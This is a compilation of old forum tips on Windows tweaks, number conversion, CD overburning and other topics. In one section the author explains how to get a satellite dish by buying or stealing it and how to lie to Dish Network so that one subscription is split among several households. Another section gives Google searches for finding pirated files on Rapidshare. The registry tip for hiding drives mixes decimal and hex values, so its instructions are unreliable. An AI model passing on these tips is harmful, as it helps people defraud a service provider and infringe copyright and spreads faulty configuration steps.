7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.

So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.

[Master]

 have satallite tv for almost free IF not free!!!

this is a tut by me that i use at home to get all the channels "not including ppv" for almost free if not free... i have every single channel that dish network offers and i dont pay a single dollar..... ok this is how it goes...
-----------------------------------

Get a dish 500 no matter how… “buy /steal”
Sign up with dish network for like “top 100” that will give you like 100 channels… it would cost you like 29.99 or 39.99 not sure…
Then you need to find 3 friends… or parent friends that are interested in having satellite TV….
Dish network allows you to have up to 4 receivers in one house with no prob.
So the next day, or when ever you find a person or 3 of them… call the dish company and tell them that you would like to activate your 2nd receiver and would like to add some additional channels… for that you would need “receiver # and smart card # of that new receiver that is at your friends house” so you give them the info and they hook the second receiver up… just don’t tell them that the receiver is not in the house…
They will hook up to 3 more receivers per account and when you get all 4 receivers you can get all channels on them and just split your bill between the other 3 people that are using your subscription…
For me it works perfectly… I live in Oregon and I have a receiver in my friends’ house in Washington and two in California USA.
I don’t know if this thing would work anywhere else but it sure works for me

[Master]

First go to http://www.shareordie.com/forum/index.php?showtopic=3269 to learn binary.

OK, 1,453,752 is 101100010111010111000 is binary, now we turn it into a Hex number.

First Hex numbers goes like this:
1=1
2=2
.
.
9=9
10=A
11=B
12=C
13=D
14=E
15=F

Now you need to take the first octet (the far right 4) and place it under this little grid:

8 4 2 1
--------
1 0 0 0 = 8

See the 1 under the 8 column?
That is what you add.

So the next octet is 1011, put it under the grid:

8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B

See 8+2+1=11, so you can't just say 11 you have to put it in a Hex number, which is B.
So the full Hex number of 1,453,752 is:

8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
1 1 1 0 = E
0 0 1 0 = 2
0 1 1 0 = 6
0 0 0 1 = 1 <-- Just add zero if it isn't a full octet

162EB8

So if you want to turn a number in to the shorter version of Hex, just turn it into binary, then use this grid and you'll do fine



P.S. Thanks Korrupt for the number to work with

[Master]

Hide Drives and Partitions

Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.

If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run—for example, "D:" will bring up a folder of the contents on your D drive.

The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).

Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.

If you have XP but not Tweak UI you can download it here...
http://www.Mcft.com/windowsxp/downloads/powertoys/xppowertoys.mspx

For Win NT, 2000, and XP you can use the following Registry edit:

*Be sure to back up the Registry before proceeding
http://www.worldstart.com/tips/tips.php/401

Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...

HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies

Click on "Explorer".

Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".

You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this—it's not as complicated as it sounds:

The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.

The values for each drive are as follows:

1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X

So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.

But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".

Still baffled? If you have XP then go get TweakUI and save yourself the math.

Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.

[Master]

How 2 Find EVERYTHING uploaded on Rapidshare

All rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.*+site%3Arapidshare.de

Apps Rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=.cab+OR+.exe+OR+.rar+OR+.zip+site%3Arapidshare.de&btnG=Search

Movies rapidshare.de Downloads:
/http://www.google.com/search?hl=en&lr=&as_qdr=all&q=+.Avi+OR+.mpg+OR+.mpeg+site%3Arapidshare.de&btnG=Search

[Master]

How do I overburn a CD with Nero?

 Start Nero

From the action-bar select File and select Preferences.



In the Preferences window, select Expert Features(1) and check the Enable overburn disc-at-once(2).



Choose a Maximum CD Length(3) and click OK(4) (*82:59:59 is the maximum value I suggest, but as you can see from the screen capture above I have set mine significantly higher. The reason is because I frequently use 99min 850 MB CD media).

For a more accurate test you can use a nero tool called nero speed test to see how much a specific CD is capable of being overburned . get it here

From the action-bar select File and select Write CD.



A window will appear when you have exceeded expected length, click OK to start the overburn copy.

Remember to set disk to burn Disc at Once, you cannot overburn in Track at Once Mode.